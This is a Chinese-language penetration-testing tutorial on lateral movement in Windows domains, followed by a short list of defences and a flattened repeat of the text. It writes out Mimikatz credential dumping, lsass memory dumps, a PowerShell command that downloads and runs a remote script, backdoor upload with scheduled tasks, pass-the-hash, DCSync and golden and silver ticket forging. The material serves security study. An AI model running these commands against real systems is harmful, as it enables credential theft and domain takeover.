内网渗透技巧之横向控制
字数 1526 2025-08-20 18:16:55

内网渗透技巧之横向控制教学文档

一、Windows域基础

1.1 域的概念与优势

  • 域定义:将网络中多台计算机逻辑组织到一起进行集中管理的逻辑环境
  • 组成:域控制器(Domain Controller)和成员计算机
  • 活动目录(AD):安装在域控制器上,存储网络对象信息并提供访问方法

域的优势

  1. 集中管理:可管理分布各地的计算机和用户
  2. 便捷资源访问:容易定位域中资源
  3. 单点登录:一次登录访问整个网络资源
  4. 可扩展性:适用于小型到跨国公司网络

1.2 域渗透常用命令

查询域控制器主机名:net group "domain controllers" /domain
查询域管理用户:net group "domain admins" /domain
查看所有域用户:net user /domain
查看域内所有计算机:net group "domain computers" /domain
查看域密码策略:net accounts /domain

二、Windows认证协议

2.1 NTLM认证协议

  • 认证机制:基于挑战/响应

  • 认证流程

    1. 客户端发送用户名到服务器
    2. 服务器生成随机挑战(Challenge)发送给客户端
    3. 客户端用用户密码哈希加密挑战并返回响应(Response)
    4. 服务器验证响应
  • NTLM Hash存储:Windows本地存储在SAM文件中

    administrator:500:6f08d7b306b1dad4ff17365faf1ffe89:032f3db689bf1ee44c04d08c785710de:::
    

2.2 Kerberos认证协议

  • 三方参与:客户端、服务端和KDC(Key Distribution Center)
  • 认证流程
    1. 客户端向AS(Authentication Service)认证身份
    2. AS返回TGT(Ticket Granting Ticket)和SessionKey
    3. 客户端使用TGT向TGS(Ticket Granting Service)请求服务票据
    4. TGS返回服务票据和SessionKey
    5. 客户端使用服务票据访问服务

三、横向移动技术

3.1 凭证窃取技术

3.1.1 Mimikatz

  • 功能:从lsass.exe进程获取活动账号明文密码
  • 使用
    mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" "exit"
    
  • Win10/2012R2+明文密码获取
    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
    

3.1.2 Procdump+Mimikatz

  1. 转储lsass.exe内存:
    procdump64.exe -accepteula -ma lsass.exe lsass.dmp
    
  2. 使用Mimikatz分析:
    mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full"
    

3.1.3 其他工具

  • Getpass:直接获取明文密码
  • Powershell脚本
    powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes
    

3.2 横向移动方法

3.2.1 IPC$+计划任务

  1. 建立IPC$连接:
    net use \\192.168.1.1\IPC$ /user:"administrator" "password"
    
  2. 上传后门:
    copy test.bat \\192.168.1.1\c$
    
  3. 创建计划任务:
    schtasks /create /s 192.168.1.1 /u Administrator /p password /ru "SYSTEM" /tn test /sc DAILY /st 22:18 /tr C:\windows\temp\test.bat /F
    schtasks /run /s 192.168.1.1 /u administrator /p password /tn test /i
    

3.2.2 PsExec(445端口)

  • 使用
    psexec \\192.168.1.1 -u Domain\User -p Password Command
    

3.2.3 WMI(135端口)

  • 查询进程
    wmic /node:192.168.1.1 /user:Administrator /password:password process list brief
    
  • 创建进程
    wmic /node:192.168.1.1 /user:Administrator /password:password process call create "calc.exe"
    

3.2.4 WinRM(5985/5986端口)

  • 执行命令
    winrs -r:http://192.168.1.1:5985 -u:Administrator -p:password "whoami /all"
    

3.2.5 SmbExec(445端口)

  • 使用
    smbexec.py administrator:password@192.168.1.1
    

3.3 Pass The Hash(PTH)攻击

  • Mimikatz实现
    sekurlsa::pth /domain:. /user:Administrator /ntlm:70be8675cd511daa9be4b8f49e829327
    

3.4 导出域成员Hash

3.4.1 使用ntdsutil导出NTDS.DIT

  1. 创建快照:
    ntdsutil snapshot "activate instance ntds" create quit quit
    
  2. 加载快照:
    ntdsutil snapshot "mount {GUID}" quit quit
    
  3. 复制文件:
    copy C:\$SNAP_...$\windows\NTDS\ntds.dit c:\ntds.dit
    
  4. 使用impacket解析:
    python secretsdump.py -sam sam.hiv -security security.hiv -system system.hiv LOCAL
    

3.4.2 Mimikatz导出域Hash

  • 直接导出
    mimikatz log "privilege::debug" "lsadump::lsa /patch" exit
    
  • DCSync技术
    lsadump::dcsync /domain:test.com /all /csv
    

3.5 票据攻击

3.5.1 黄金票据(Golden Ticket)

  1. 获取krbtgt的Hash:
    lsadump::dcsync /domain:xx.com /user:krbtgt
    
  2. 生成黄金票据:
    kerberos::golden /admin:administrator /domain:ABC.COM /sid:S-1-5-21-... /krbtgt:c7af5cfc450e645ed4c46daa78fe18da /ticket:test.kiribi
    
  3. 导入票据:
    kerberos::ptt test.kiribi
    

3.5.2 白银票据(Silver Ticket)

  1. 导出服务账号Hash:
    mimikatz log "privilege::debug" "sekurlsa::logonpasswords"
    
  2. 生成白银票据:
    kerberos::golden /domain:ABC.COM /sid:S-1-5-21-... /target:DC.ABC.COM /rc4:f3a76b2f3e5af8d2808734b8974acba9 /service:cifs /user:strage /ptt
    

3.6 MS14-068域提权

  1. 生成TGT:
    MS14-068.exe -u user@test.com -s SID -d 192.168.1.1 -p password
    
  2. 导入票据:
    mimikatz.exe "kerberos::ptc TGT_user@test.com.ccache" exit
    

四、防御建议

  1. 限制特权账户:减少域管理员账户数量和使用频率
  2. 启用LSA保护:防止从lsass.exe提取凭据
  3. 禁用NTLM:尽可能使用Kerberos认证
  4. 监控异常活动:如异常的票据请求、大量的认证尝试等
  5. 及时打补丁:修复如MS14-068等已知漏洞
  6. 限制远程管理工具:严格控制PsExec、WMI等工具的使用
  7. 启用Credential Guard:保护凭据不被窃取

五、总结

内网横向移动是攻击者获取域控权限的关键阶段,涉及多种技术和工具。防御方应了解这些技术原理,采取分层防御措施,监控异常活动,才能有效保护内网安全。

内网渗透技巧之横向控制教学文档 一、Windows域基础 1.1 域的概念与优势 域定义 :将网络中多台计算机逻辑组织到一起进行集中管理的逻辑环境 组成 :域控制器(Domain Controller)和成员计算机 活动目录(AD) :安装在域控制器上,存储网络对象信息并提供访问方法 域的优势 : 集中管理:可管理分布各地的计算机和用户 便捷资源访问:容易定位域中资源 单点登录:一次登录访问整个网络资源 可扩展性:适用于小型到跨国公司网络 1.2 域渗透常用命令 二、Windows认证协议 2.1 NTLM认证协议 认证机制 :基于挑战/响应 认证流程 : 客户端发送用户名到服务器 服务器生成随机挑战(Challenge)发送给客户端 客户端用用户密码哈希加密挑战并返回响应(Response) 服务器验证响应 NTLM Hash存储 :Windows本地存储在SAM文件中 2.2 Kerberos认证协议 三方参与 :客户端、服务端和KDC(Key Distribution Center) 认证流程 : 客户端向AS(Authentication Service)认证身份 AS返回TGT(Ticket Granting Ticket)和SessionKey 客户端使用TGT向TGS(Ticket Granting Service)请求服务票据 TGS返回服务票据和SessionKey 客户端使用服务票据访问服务 三、横向移动技术 3.1 凭证窃取技术 3.1.1 Mimikatz 功能 :从lsass.exe进程获取活动账号明文密码 使用 : Win10/2012R2+明文密码获取 : 3.1.2 Procdump+Mimikatz 转储lsass.exe内存: 使用Mimikatz分析: 3.1.3 其他工具 Getpass :直接获取明文密码 Powershell脚本 : 3.2 横向移动方法 3.2.1 IPC$+计划任务 建立IPC$连接: 上传后门: 创建计划任务: 3.2.2 PsExec(445端口) 使用 : 3.2.3 WMI(135端口) 查询进程 : 创建进程 : 3.2.4 WinRM(5985/5986端口) 执行命令 : 3.2.5 SmbExec(445端口) 使用 : 3.3 Pass The Hash(PTH)攻击 Mimikatz实现 : 3.4 导出域成员Hash 3.4.1 使用ntdsutil导出NTDS.DIT 创建快照: 加载快照: 复制文件: 使用impacket解析: 3.4.2 Mimikatz导出域Hash 直接导出 : DCSync技术 : 3.5 票据攻击 3.5.1 黄金票据(Golden Ticket) 获取krbtgt的Hash: 生成黄金票据: 导入票据: 3.5.2 白银票据(Silver Ticket) 导出服务账号Hash: 生成白银票据: 3.6 MS14-068域提权 生成TGT: 导入票据: 四、防御建议 限制特权账户 :减少域管理员账户数量和使用频率 启用LSA保护 :防止从lsass.exe提取凭据 禁用NTLM :尽可能使用Kerberos认证 监控异常活动 :如异常的票据请求、大量的认证尝试等 及时打补丁 :修复如MS14-068等已知漏洞 限制远程管理工具 :严格控制PsExec、WMI等工具的使用 启用Credential Guard :保护凭据不被窃取 五、总结 内网横向移动是攻击者获取域控权限的关键阶段,涉及多种技术和工具。防御方应了解这些技术原理,采取分层防御措施,监控异常活动,才能有效保护内网安全。